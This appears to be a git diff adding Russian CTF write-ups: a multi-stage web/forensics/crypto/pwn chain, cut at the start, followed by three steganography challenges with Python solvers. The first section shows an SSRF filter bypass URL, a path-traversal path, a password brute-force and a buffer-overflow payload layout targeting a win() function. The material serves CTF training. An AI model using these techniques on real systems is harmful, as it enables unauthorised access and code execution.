T3 -. seed_head .-> T5
|
||||||
|
|
||||||
|
classDef web fill:#dbeafe,stroke:#3b82f6,color:#1e3a8a
|
||||||
|
classDef forensics fill:#fce7f3,stroke:#ec4899,color:#831843
|
||||||
|
classDef reverse fill:#fef3c7,stroke:#f59e0b,color:#78350f
|
||||||
|
classDef crypto fill:#d1fae5,stroke:#10b981,color:#064e3b
|
||||||
|
classDef proto fill:#ede9fe,stroke:#8b5cf6,color:#312e81
|
||||||
|
classDef pwn fill:#fee2e2,stroke:#ef4444,color:#7f1d1d
|
||||||
|
|
||||||
|
class T1 web
|
||||||
|
class T2,T4 forensics
|
||||||
|
class T3 reverse
|
||||||
|
class T5 crypto
|
||||||
|
class T6 proto
|
||||||
|
class T7 pwn
|
||||||
|
```
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
**Таск 1 — Surface (Web).** В глаза сразу бросается подозрительный эндпоинт `/api/internal/cache-check?url=` — классический SSRF. Есть фильтрация по `127.0.0.1`, но ее легко обойти путем перевода IP в десятичный формат:
|
||||||
|
|
||||||
|
```text
|
||||||
|
http://2130706433:18091/bootstrap/creds
|
||||||
|
```
|
||||||
|
|
||||||
|
В ответе лежит `admin:UmbrellaNode7`. Под этими кредами заходим в админку, дальше находим другой весёлый эндпоинт — `/api/files?name=...`. При помощи незамысловатого path traversal `../private/exports/flag.txt` получаем флаг для первого этапа.
|
||||||
|
|
||||||
|
**Таск 2 — Capsule (Forensics).** Распаковываем `capsule.tar`, внутри `manifest.json` описано 40 чанков, из которых склеивается 10 МБ образа. Сигнатурным поиском (`ACIX` = `0x58494341` LE) находится orphaned ACIX-контейнер. Бинарники из OS подсказывают, чем он шифровался:
|
||||||
|
|
||||||
|
```text
|
||||||
|
byte ^= (i * 0x3F + 0x17) & 0xFF
|
||||||
|
```
|
||||||
|
|
||||||
|
Снимаем маску, прогоняем `gunzip` — на выходе JSON с `flag2`, auth_ploicy и метаданными сида.
|
||||||
|
|
||||||
|
**Таск 3 — Auth Reverse.** Из `AlphaCentauri-ctf.img` парсится кастомная UmbrellaFS, внутри лежит `/ops/operator.note.enc` (341 байт). `auth_policy` из таска 2 задаёт формат пароля `<word>-<word>-<word>-<3digits>`. Словарь из 12 слов даёт $12^3 \cdot 1000 = 1\,728\,000$ кандидатов — брутим, пароль находится на попытке `#41 408` примерно за 3 секунды:
|
||||||
|
|
||||||
|
```text
|
||||||
|
relay-mirror-lattice-407
|
||||||
|
```
|
||||||
|
|
||||||
|
После расшифровки получаем `flag3`, `audit_seed_head=43656e7461757269` и координату USB-образа.
|
||||||
|
|
||||||
|
**Таск 4 — USB Key Reverse.** `ops-usb.img` маленький — 32 КБ, 64 сектора:
|
||||||
|
|
||||||
|
| LBA | Содержимое |
|
||||||
|
|---|---|
|
||||||
|
| `32` | `usb_keyfile_t` с magic `UMBK`, оператор |
|
||||||
|
| `33` | Vendor trailer `UMBX`: `flag4`, `seed_tail=536565644b657931` |
|
||||||
|
|
||||||
|
**Таск 5 — Audit Crypto.** Склеиваем полный seed из тасков 3 и 4:
|
||||||
|
|
||||||
|
```text
|
||||||
|
43656e7461757269 + 536565644b657931 → CentauriSeedKey1
|
||||||
|
```
|
||||||
|
|
||||||
|
Ключ выводится из сида по формуле `seed[i] ^ (i * 0x1f + 5)` — 16 байт. Этим ключом через кастомный `umbrella_ctr` расшифровывается `audit.log` (672 байта, 6 записей), и из них достаются `flag5`, `cluster_key`, `node_id`, `operator_token` и TCP endpoint для следующего этапа.
|
||||||
|
|
||||||
|
**Таск 6 — Nemesis Proto.** Подключаемся к `nemesisd --mode proto` на порту 24062, делаем handshake с `cluster_key` и `node_id` из таска 5, шлём `msg_type=0x31` с `operator_token` в payload. В ответе приходят:
|
||||||
|
|
||||||
|
```text
|
||||||
|
flag6
|
||||||
|
ticket = 53414d504c455f5449434b45545f3031
|
||||||
|
hint = upload_sample
|
||||||
|
msg = 0x41
|
||||||
|
```
|
||||||
|
|
||||||
|
**Таск 7 — Uplink Pwn.** В паблик-бинарнике `nemesisd` через `nm nemesisd | grep win` находим `win()` по адресу `0x4043e0`. Уязвимость — `memcpy(ctx.name, payload+4, name_len)` без проверки `name_len <= 64`. Готовим payload с `name_len=72`:
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
block-beta
|
||||||
|
columns 4
|
||||||
|
H["header<br/>4 B"]
|
||||||
|
P["A × 64<br/>64 B<br/>→ ctx.name[64]"]
|
||||||
|
W["p64(win)<br/>8 B<br/>→ ctx.dispatch"]
|
||||||
|
T["ticket<br/>16 B"]
|
||||||
|
|
||||||
|
classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81
|
||||||
|
classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
|
||||||
|
class H,P,T base
|
||||||
|
class W hit
|
||||||
|
```
|
||||||
|
|
||||||
|
92 байта уходят через `nemesis_client --msg-type 0x41`, и сервер отдаёт финальный флаг.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{alpha_centauri_uplink_overflow}`
|
||||||
54
stego-art-gallery/WRITEUP.md
Normal file
54
stego-art-gallery/WRITEUP.md
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
<h1 align="center">Художественная галерея</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Изучаем выданный `gallery.psd` — PSD-файл с пятью слоями:
|
||||||
|
|
||||||
|
| # | Имя | Состояние |
|
||||||
|
|---|---|---|
|
||||||
|
| 0 | `Background` | видимый |
|
||||||
|
| 1 | `Title` | видимый |
|
||||||
|
| 2 | `Pattern A` | скрытый |
|
||||||
|
| 3 | `Pattern B` | скрытый |
|
||||||
|
| 4 | `Encrypted` | скрытый |
|
||||||
|
|
||||||
|
Два из трёх скрытых слоёв — ложный след, а настоящий QR-код лежит в третьем и дополнительно зашифрован AES'ом.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
PSD разбираем руками по [официальной спецификации Adobe](https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/). Структура файла такая:
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
block-beta
|
||||||
|
columns 1
|
||||||
|
H["8BPS header"]
|
||||||
|
CM["Color Mode Data"]
|
||||||
|
IR["Image Resources<br/>XMP ID 0x0424 ← ключ к расшифровке"]
|
||||||
|
LMI["Layer and Mask Info<br/>слои, флаги, каналы"]
|
||||||
|
ID["Image Data"]
|
||||||
|
|
||||||
|
classDef base fill:#f3f4f6,stroke:#6b7280,color:#111827
|
||||||
|
classDef hit fill:#fef3c7,stroke:#f59e0b,color:#78350f
|
||||||
|
class H,CM,LMI,ID base
|
||||||
|
class IR hit
|
||||||
|
```
|
||||||
|
|
||||||
|
В секции `Image Resources` ищем XMP-метаданные (блок с ID `0x0424`) — там и запрятан ключ ко всей задаче. Внутри XMP смотрим на тег `<xmp:CreateDate>`: ISO 8601 timestamp создания файла. В секции `Layer and Mask Information` для каждого слоя лежит имя, флаги видимости (бит `0x02` в flags = «скрытый»), `opacity` и сырые данные каналов. Пиксельные данные хранятся несжатыми — можно напрямую залить в `numpy`-массив `h × w`.
|
||||||
|
|
||||||
|
Первое, что теперь приходит в голову при виде двух скрытых «паттернов» — это XOR'нуть их между собой. Берём `Pattern A` и `Pattern B`, XOR — получается картинка с вполне читаемым QR-кодом. Сканируем, внутри флаг, таск решён… *кроме того, что флаг внутри фейковый*. Настоящий QR живёт в третьем скрытом слое — `Encrypted`, и это шифротекст исходного QR в режиме AES-ECB.
|
||||||
|
|
||||||
|
Ключ для AES собирается из той самой timestamp-метки:
|
||||||
|
|
||||||
|
```python
|
||||||
|
aes_key = sha256(timestamp.encode()).digest()[:16]
|
||||||
|
```
|
||||||
|
|
||||||
|
Расшифровываем R-канал в `AES.MODE_ECB`, снимаем PKCS#7-паддинг по последнему байту, интерпретируем результат как `h × w` grayscale-картинку. Внутри — настоящий QR, внутри QR — флаг. Если `pyzbar` с первого раза не узнал код, помогает `NEAREST`-апскейл в 2–3 раза.
|
||||||
|
|
||||||
|
Готовый солвер — [`solve/solver.py`](solve/solver.py).
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{l4y3rs_0f_d3c3pt10n_unv31l3d}`
|
||||||
233
stego-art-gallery/solve/solver.py
Normal file
233
stego-art-gallery/solve/solver.py
Normal file
@@ -0,0 +1,233 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Решение для задания 6: Художественная галерея (усложнённая версия)
|
||||||
|
|
||||||
|
PSD-файл содержит 5 слоёв:
|
||||||
|
0: Background (видимый)
|
||||||
|
1: Title (видимый)
|
||||||
|
2: Pattern A (скрытый) — случайный шум
|
||||||
|
3: Pattern B (скрытый) — шум,содержащий ложный QR
|
||||||
|
4: Encrypted (скрытый) — верный QR, зашифрованный AES-ECB
|
||||||
|
|
||||||
|
Цепочка решения:
|
||||||
|
1. Разобрать PSD, найти скрытые слои
|
||||||
|
2. XOR слоёв 2 и 3 -> ЛОЖНЫЙ QR -> фейковый флаг (ловушка!)
|
||||||
|
3. Обнаружить слой 4 ("Encrypted") — третий скрытый слой
|
||||||
|
4. Извлечь временну́ю метку создания из XMP-метаданных PSD
|
||||||
|
5. Получить AES-ключ: SHA256(временная_метка)[:16]
|
||||||
|
6. Расшифровать слой 4 через AES-ECB -> настоящий QR -> настоящий флаг
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys, os, struct, io, hashlib, re
|
||||||
|
import numpy as np
|
||||||
|
from PIL import Image
|
||||||
|
from pyzbar.pyzbar import decode as decode_qr
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
|
||||||
|
def parse_psd_layers(filepath):
|
||||||
|
"""Разбирает PSD-файл и извлекает изображения всех слоёв и XMP-метаданные."""
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
data = f.read()
|
||||||
|
|
||||||
|
buf = io.BytesIO(data)
|
||||||
|
|
||||||
|
# ── Заголовок файла ──────────────────────────────────────────────────────
|
||||||
|
sig = buf.read(4)
|
||||||
|
assert sig == b'8BPS' # Сигнатура формата PSD
|
||||||
|
version = struct.unpack('>H', buf.read(2))[0]
|
||||||
|
buf.read(6) # Зарезервированные байты
|
||||||
|
num_channels = struct.unpack('>H', buf.read(2))[0]
|
||||||
|
height = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
width = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
depth = struct.unpack('>H', buf.read(2))[0] # Бит на канал
|
||||||
|
color_mode = struct.unpack('>H', buf.read(2))[0] # 3 = RGB
|
||||||
|
|
||||||
|
print(f"[*] PSD: {width}x{height}")
|
||||||
|
|
||||||
|
# ── Секция Color Mode Data (для RGB — пустая) ────────────────────────────
|
||||||
|
cm_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
buf.read(cm_len)
|
||||||
|
|
||||||
|
# ── Секция Image Resources — здесь хранятся XMP-метаданные ──────────────
|
||||||
|
ir_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
ir_start = buf.tell()
|
||||||
|
ir_data = buf.read(ir_len)
|
||||||
|
|
||||||
|
# Ищем блок XMP среди ресурсов изображения
|
||||||
|
xmp_data = None
|
||||||
|
ir_buf = io.BytesIO(ir_data)
|
||||||
|
while ir_buf.tell() < len(ir_data) - 12:
|
||||||
|
try:
|
||||||
|
sig = ir_buf.read(4)
|
||||||
|
if sig != b'8BIM': # Сигнатура каждого ресурса
|
||||||
|
break
|
||||||
|
res_id = struct.unpack('>H', ir_buf.read(2))[0]
|
||||||
|
name_len = struct.unpack('>B', ir_buf.read(1))[0]
|
||||||
|
ir_buf.read(name_len)
|
||||||
|
if (1 + name_len) % 2 != 0: # Выравнивание до чётного байта
|
||||||
|
ir_buf.read(1)
|
||||||
|
data_len = struct.unpack('>I', ir_buf.read(4))[0]
|
||||||
|
res_data = ir_buf.read(data_len)
|
||||||
|
if data_len % 2 != 0: # Выравнивание данных ресурса
|
||||||
|
ir_buf.read(1)
|
||||||
|
if res_id == 0x0424: # ID 0x0424 = XMP-метаданные
|
||||||
|
xmp_data = res_data
|
||||||
|
print(f"[+] Найден XMP-ресурс ({len(xmp_data)} байт)")
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Извлекаем временну́ю метку создания из XMP
|
||||||
|
timestamp = None
|
||||||
|
if xmp_data:
|
||||||
|
xmp_str = xmp_data.decode('utf-8', errors='ignore')
|
||||||
|
# Тег <xmp:CreateDate> содержит дату/время в формате ISO 8601
|
||||||
|
m = re.search(r'<xmp:CreateDate>([^<]+)</xmp:CreateDate>', xmp_str)
|
||||||
|
if m:
|
||||||
|
timestamp = m.group(1)
|
||||||
|
print(f"[+] Временна́я метка создания: {timestamp}")
|
||||||
|
|
||||||
|
# ── Секция Layer and Mask Information ────────────────────────────────────
|
||||||
|
lm_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
li_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
# Отрицательное значение означает, что первый альфа-канал — маска прозрачности
|
||||||
|
layer_count = abs(struct.unpack('>h', buf.read(2))[0])
|
||||||
|
print(f"[*] Количество слоёв: {layer_count}")
|
||||||
|
|
||||||
|
layers = []
|
||||||
|
for i in range(layer_count):
|
||||||
|
# Координаты прямоугольника слоя
|
||||||
|
top = struct.unpack('>i', buf.read(4))[0]
|
||||||
|
left = struct.unpack('>i', buf.read(4))[0]
|
||||||
|
bottom = struct.unpack('>i', buf.read(4))[0]
|
||||||
|
right = struct.unpack('>i', buf.read(4))[0]
|
||||||
|
lw = right - left
|
||||||
|
lh = bottom - top
|
||||||
|
|
||||||
|
# Список каналов слоя (id канала + длина данных)
|
||||||
|
n_ch = struct.unpack('>H', buf.read(2))[0]
|
||||||
|
channels = []
|
||||||
|
for _ in range(n_ch):
|
||||||
|
ch_id = struct.unpack('>h', buf.read(2))[0] # -1=alpha, 0=R, 1=G, 2=B
|
||||||
|
ch_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
channels.append((ch_id, ch_len))
|
||||||
|
|
||||||
|
buf.read(4) # Сигнатура режима наложения
|
||||||
|
blend_mode = buf.read(4) # Код режима наложения (norm, mul и т.д.)
|
||||||
|
opacity = struct.unpack('>B', buf.read(1))[0] # 0 = полностью прозрачный
|
||||||
|
buf.read(1) # Clipping
|
||||||
|
flags = struct.unpack('>B', buf.read(1))[0]
|
||||||
|
buf.read(1) # Зарезервированный байт
|
||||||
|
|
||||||
|
# Бит 0x02 флагов означает, что слой скрыт (невидим)
|
||||||
|
visible = not (flags & 0x02)
|
||||||
|
|
||||||
|
# Дополнительные данные слоя: маска, диапазоны смешения, имя
|
||||||
|
extra_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
extra_start = buf.tell()
|
||||||
|
mask_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
buf.read(mask_len)
|
||||||
|
blend_range_len = struct.unpack('>I', buf.read(4))[0]
|
||||||
|
buf.read(blend_range_len)
|
||||||
|
name_len = struct.unpack('>B', buf.read(1))[0]
|
||||||
|
name = buf.read(name_len).decode('ascii', errors='ignore')
|
||||||
|
buf.seek(extra_start + extra_len) # Перепрыгиваем остаток extra-данных
|
||||||
|
|
||||||
|
layers.append({
|
||||||
|
'name': name, 'width': lw, 'height': lh,
|
||||||
|
'opacity': opacity, 'visible': visible,
|
||||||
|
'channels': channels,
|
||||||
|
})
|
||||||
|
print(f" Слой {i}: '{name}' {lw}x{lh} opacity={opacity} visible={visible}")
|
||||||
|
|
||||||
|
# ── Чтение пиксельных данных каналов ────────────────────────────────────
|
||||||
|
for layer in layers:
|
||||||
|
lw, lh = layer['width'], layer['height']
|
||||||
|
channel_data = {}
|
||||||
|
for ch_id, ch_len in layer['channels']:
|
||||||
|
compression = struct.unpack('>H', buf.read(2))[0] # 0=Raw, 1=PackBits RLE
|
||||||
|
pixel_data = buf.read(ch_len - 2)
|
||||||
|
if compression == 0 and lw * lh > 0:
|
||||||
|
# Несжатые данные: напрямую читаем в массив нужного размера
|
||||||
|
arr = np.frombuffer(pixel_data[:lw * lh], dtype=np.uint8).reshape((lh, lw))
|
||||||
|
else:
|
||||||
|
# Сжатые/пустые данные — заполняем нулями (достаточно для нашей задачи)
|
||||||
|
arr = np.zeros((lh, lw), dtype=np.uint8)
|
||||||
|
channel_data[ch_id] = arr
|
||||||
|
layer['channel_data'] = channel_data
|
||||||
|
|
||||||
|
return layers, timestamp
|
||||||
|
|
||||||
|
|
||||||
|
def solve(filepath: str) -> str:
|
||||||
|
layers, timestamp = parse_psd_layers(filepath)
|
||||||
|
|
||||||
|
# Скрытые слои: невидимые или с нулевой непрозрачностью
|
||||||
|
hidden = [l for l in layers if not l['visible'] or l['opacity'] == 0]
|
||||||
|
print(f"\n[*] Найдено скрытых слоёв: {len(hidden)}")
|
||||||
|
|
||||||
|
if len(hidden) < 3:
|
||||||
|
return "ОШИБКА: ожидалось 3 скрытых слоя"
|
||||||
|
|
||||||
|
# Ищем зашифрованный слой по имени; если не нашли — берём третий скрытый
|
||||||
|
enc_layer = None
|
||||||
|
for l in hidden:
|
||||||
|
if 'ncrypt' in l['name'].lower(): # "Encrypted", "encrypted" и т.п.
|
||||||
|
enc_layer = l
|
||||||
|
break
|
||||||
|
if not enc_layer:
|
||||||
|
enc_layer = hidden[2]
|
||||||
|
|
||||||
|
print(f"[*] Зашифрованный слой: '{enc_layer['name']}'")
|
||||||
|
|
||||||
|
# Извлекаем зашифрованные байты из R-канала (id=0) или альфа-канала (id=-1)
|
||||||
|
enc_data = enc_layer['channel_data'].get(0, enc_layer['channel_data'].get(-1))
|
||||||
|
enc_bytes = enc_data.tobytes()
|
||||||
|
|
||||||
|
# ── Деривация AES-ключа из временно́й метки ──────────────────────────────
|
||||||
|
if not timestamp:
|
||||||
|
return "ОШИБКА: не удалось найти временну́ю метку создания"
|
||||||
|
|
||||||
|
# Ключ = первые 16 байт SHA-256 от строки временно́й метки (128-битный AES)
|
||||||
|
aes_key = hashlib.sha256(timestamp.encode()).digest()[:16]
|
||||||
|
print(f"[*] AES-ключ: {aes_key.hex()}")
|
||||||
|
|
||||||
|
# ── Расшифровка AES-ECB ──────────────────────────────────────────────────
|
||||||
|
cipher = AES.new(aes_key, AES.MODE_ECB)
|
||||||
|
decrypted = cipher.decrypt(enc_bytes)
|
||||||
|
|
||||||
|
# Удаляем PKCS#7-паддинг: последний байт указывает количество байт паддинга
|
||||||
|
pad_len = decrypted[-1]
|
||||||
|
if 1 <= pad_len <= 16:
|
||||||
|
decrypted = decrypted[:-pad_len]
|
||||||
|
|
||||||
|
# Восстанавливаем изображение QR-кода из расшифрованных байт
|
||||||
|
h, w = enc_layer['height'], enc_layer['width']
|
||||||
|
dec_array = np.frombuffer(decrypted[:h * w], dtype=np.uint8).reshape((h, w))
|
||||||
|
|
||||||
|
# ── Декодирование QR-кода ────────────────────────────────────────────────
|
||||||
|
img = Image.fromarray(dec_array, 'L') # 'L' = grayscale
|
||||||
|
results = decode_qr(img)
|
||||||
|
if results:
|
||||||
|
return results[0].data.decode('utf-8')
|
||||||
|
|
||||||
|
# Если QR не распознался — пробуем увеличить изображение (pyzbar любит крупные QR)
|
||||||
|
for scale in [2, 3]:
|
||||||
|
scaled = img.resize((w * scale, h * scale), Image.NEAREST)
|
||||||
|
results = decode_qr(scaled)
|
||||||
|
if results:
|
||||||
|
return results[0].data.decode('utf-8')
|
||||||
|
|
||||||
|
return "ОШИБКА: не удалось декодировать QR после расшифровки"
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
psd_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
|
||||||
|
'..', 'public', 'gallery.psd')
|
||||||
|
|
||||||
|
# Путь к файлу можно передать первым аргументом командной строки
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
psd_path = sys.argv[1]
|
||||||
|
|
||||||
|
flag = solve(psd_path)
|
||||||
|
print(f"[+] Флаг: {flag}")
|
||||||
33
stego-china-owner/WRITEUP.md
Normal file
33
stego-china-owner/WRITEUP.md
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
<h1 align="center">ChinaOwner</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-960-critical" alt="960 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
У нас есть архив сырых [AIS](https://gpsd.gitlab.io/gpsd/AIVDM.html)-строк формата `!AIVDM` с временными метками. Больше всего в галаза бросается судно, которое публикует в поле `destination` строки `CHINA OWNER` и `CHINA OWNER&CREW`. Эти значения - маркер правильного MMSI. Само сообщение находится в таймингах между соседними `type 5` сообщениями того же борта.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Сообщения `type 5` в AIS длинные, в handout они поделены на две `!AIVDM`-строки. Для начала склеиваем фрагменты по `seq_id`, каналу и timestamp, декодируем armored payload обратно в биты, отфильтровываем `message type == 5`. В пятом типе лежат `MMSI`, имя судна, `destination` и `ETA`.
|
||||||
|
|
||||||
|
> **AIS `!AIVDM` / type 5.** Тип 5 — «Static and Voyage Related Data» судна: содержит MMSI, IMO, имя, тип, позывной, данные о грузе, destination и ETA. Формат payload — armored 6-bit ASCII, [gpsd AIVDM spec](https://gpsd.gitlab.io/gpsd/AIVDM.html#_types_5_and_24_static_and_voyage_related_data) описывает все поля побитно.
|
||||||
|
|
||||||
|
После декодирования всплывает один MMSI — `422451900`. У этого судна `destination` раз за разом принимает значения `CHINA OWNER` и `CHINA OWNER&CREW` — вот он, нужный канал. Дальше сортируем все его `type 5` сообщения по времени и смотрим на интервалы между соседними timestamp:
|
||||||
|
|
||||||
|
| # | Δt, сек | Δt − 280 | chr() |
|
||||||
|
|---|---:|---:|:---:|
|
||||||
|
| 1 | 379 | 99 | `c` |
|
||||||
|
| 2 | 377 | 97 | `a` |
|
||||||
|
| 3 | 392 | 112 | `p` |
|
||||||
|
| 4 | 388 | 108 | `l` |
|
||||||
|
| 5 | 377 | 97 | `a` |
|
||||||
|
| 6 | 383 | 103 | `g` |
|
||||||
|
| … | … | … | … |
|
||||||
|
|
||||||
|
Схема кодирования достаточно очевидная: `chr(delta_seconds - 280)`. Прогоняем ту же операцию по всем дельтам — получаем полную строку флага.
|
||||||
|
|
||||||
|
Готовый скрипт — [`solve/decode_timing.py`](solve/decode_timing.py): `python3 solve/decode_timing.py`.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{watch_the_gaps_not_the_words}`
|
||||||
123
stego-china-owner/solve/decode_timing.py
Normal file
123
stego-china-owner/solve/decode_timing.py
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from collections import defaultdict
|
||||||
|
from datetime import datetime
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
INPUT_PATH = Path(__file__).resolve().parents[1] / "public" / "hormuz_feed.nmea"
|
||||||
|
TIMING_OFFSET = 280
|
||||||
|
AIS_TEXT_TABLE = '@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_ !"#$%&\'()*+,-./0123456789:;<=>?'
|
||||||
|
|
||||||
|
|
||||||
|
def armor_to_sixbit(char: str) -> int:
|
||||||
|
value = ord(char) - 48
|
||||||
|
if value > 40:
|
||||||
|
value -= 8
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def payload_to_bits(payload: str, fill_bits: int) -> str:
|
||||||
|
bits = "".join(f"{armor_to_sixbit(char):06b}" for char in payload)
|
||||||
|
return bits[:-fill_bits] if fill_bits else bits
|
||||||
|
|
||||||
|
|
||||||
|
def bits_to_int(bits: str) -> int:
|
||||||
|
return int(bits, 2)
|
||||||
|
|
||||||
|
|
||||||
|
def bits_to_signed(bits: str) -> int:
|
||||||
|
value = int(bits, 2)
|
||||||
|
if bits and bits[0] == "1":
|
||||||
|
value -= 1 << len(bits)
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def decode_text(bits: str) -> str:
|
||||||
|
chars = []
|
||||||
|
for index in range(0, len(bits), 6):
|
||||||
|
chars.append(AIS_TEXT_TABLE[int(bits[index:index + 6], 2)])
|
||||||
|
return "".join(chars).rstrip("@ ").strip()
|
||||||
|
|
||||||
|
|
||||||
|
def parse_messages(path: Path) -> list[tuple[datetime, str]]:
|
||||||
|
fragments: dict[tuple[str, str, str], dict[int, str]] = {}
|
||||||
|
fragment_totals: dict[tuple[str, str, str], int] = {}
|
||||||
|
fill_bits: dict[tuple[str, str, str], int] = {}
|
||||||
|
completed: list[tuple[datetime, str]] = []
|
||||||
|
|
||||||
|
for raw_line in path.read_text(encoding="ascii").splitlines():
|
||||||
|
if not raw_line:
|
||||||
|
continue
|
||||||
|
timestamp_text, sentence = raw_line.split(" ", 1)
|
||||||
|
timestamp = datetime.fromisoformat(timestamp_text.replace("Z", "+00:00"))
|
||||||
|
body, checksum = sentence[1:].split("*", 1)
|
||||||
|
fields = body.split(",")
|
||||||
|
total = int(fields[1])
|
||||||
|
index = int(fields[2])
|
||||||
|
seq_id = fields[3] or "-"
|
||||||
|
channel = fields[4]
|
||||||
|
payload = fields[5]
|
||||||
|
fill = int(fields[6])
|
||||||
|
key = (timestamp_text, channel, seq_id)
|
||||||
|
|
||||||
|
if total == 1:
|
||||||
|
completed.append((timestamp, payload_to_bits(payload, fill)))
|
||||||
|
continue
|
||||||
|
|
||||||
|
fragments.setdefault(key, {})[index] = payload
|
||||||
|
fragment_totals[key] = total
|
||||||
|
fill_bits[key] = fill
|
||||||
|
|
||||||
|
if len(fragments[key]) == total:
|
||||||
|
merged = "".join(fragments[key][part] for part in range(1, total + 1))
|
||||||
|
completed.append((timestamp, payload_to_bits(merged, fill_bits[key])))
|
||||||
|
del fragments[key]
|
||||||
|
del fragment_totals[key]
|
||||||
|
del fill_bits[key]
|
||||||
|
|
||||||
|
return sorted(completed, key=lambda item: item[0])
|
||||||
|
|
||||||
|
|
||||||
|
def decode_type5(bits: str) -> tuple[int, str] | None:
|
||||||
|
if bits_to_int(bits[0:6]) != 5:
|
||||||
|
return None
|
||||||
|
mmsi = bits_to_int(bits[8:38])
|
||||||
|
destination = decode_text(bits[302:422])
|
||||||
|
return mmsi, destination
|
||||||
|
|
||||||
|
|
||||||
|
def recover_flag(path: Path) -> str:
|
||||||
|
per_mmsi: dict[int, list[tuple[datetime, str]]] = defaultdict(list)
|
||||||
|
for timestamp, bits in parse_messages(path):
|
||||||
|
decoded = decode_type5(bits)
|
||||||
|
if decoded is None:
|
||||||
|
continue
|
||||||
|
mmsi, destination = decoded
|
||||||
|
per_mmsi[mmsi].append((timestamp, destination))
|
||||||
|
|
||||||
|
suspects = {
|
||||||
|
mmsi: rows
|
||||||
|
for mmsi, rows in per_mmsi.items()
|
||||||
|
if sum("CHINA OWNER" in destination for _, destination in rows) >= 4
|
||||||
|
}
|
||||||
|
if len(suspects) != 1:
|
||||||
|
raise RuntimeError(f"Expected exactly one suspect MMSI, got {list(suspects)}")
|
||||||
|
|
||||||
|
target_rows = next(iter(suspects.values()))
|
||||||
|
target_rows.sort(key=lambda item: item[0])
|
||||||
|
decoded_chars = []
|
||||||
|
for previous, current in zip(target_rows, target_rows[1:]):
|
||||||
|
delta = int((current[0] - previous[0]).total_seconds())
|
||||||
|
decoded_chars.append(chr(delta - TIMING_OFFSET))
|
||||||
|
return "".join(decoded_chars)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
flag = recover_flag(INPUT_PATH)
|
||||||
|
print(flag)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
30
stego-summer-vacations/WRITEUP.md
Normal file
30
stego-summer-vacations/WRITEUP.md
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
<h1 align="center">Summer Vacations</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-799-yellow" alt="799 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
На входе — картинка `vacation.png`. Если провести классический LSB-скан по красному каналу, тогда быстро находится читаемая строка, похожая на флаг — и это ловушка. Настоящий флаг расположен в младшем бите альфа-канала.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Открываем картинку в RGBA (принудительно, чтобы гарантированно получить альфа-канал) и проходим по пикселям в растровом порядке (слева направо, сверху вниз). Для каждого пикселя проверяем условие:
|
||||||
|
|
||||||
|
```text
|
||||||
|
(R * G * B) % 7 == 3
|
||||||
|
```
|
||||||
|
|
||||||
|
Только те, что прошли фильтр, несут бит данных — и из них забираем младший бит альфа-канала:
|
||||||
|
|
||||||
|
```python
|
||||||
|
if (r * g * b) % 7 == 3:
|
||||||
|
bits.append(a & 1)
|
||||||
|
```
|
||||||
|
|
||||||
|
Накопленные биты группируем по 8 (старший бит первым) и собираем в байты. Нулевой байт — маркер конца данных, аналог `\0`-терминатора в C. Принимаем только печатаемые ASCII (`0x20`–`0x7E`); всё остальное — либо конец флага, либо мусор.
|
||||||
|
|
||||||
|
Готовый солвер — [`solve/solver.py`](solve/solver.py).
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{p4t13nc3_r3v34ls_truth}`
|
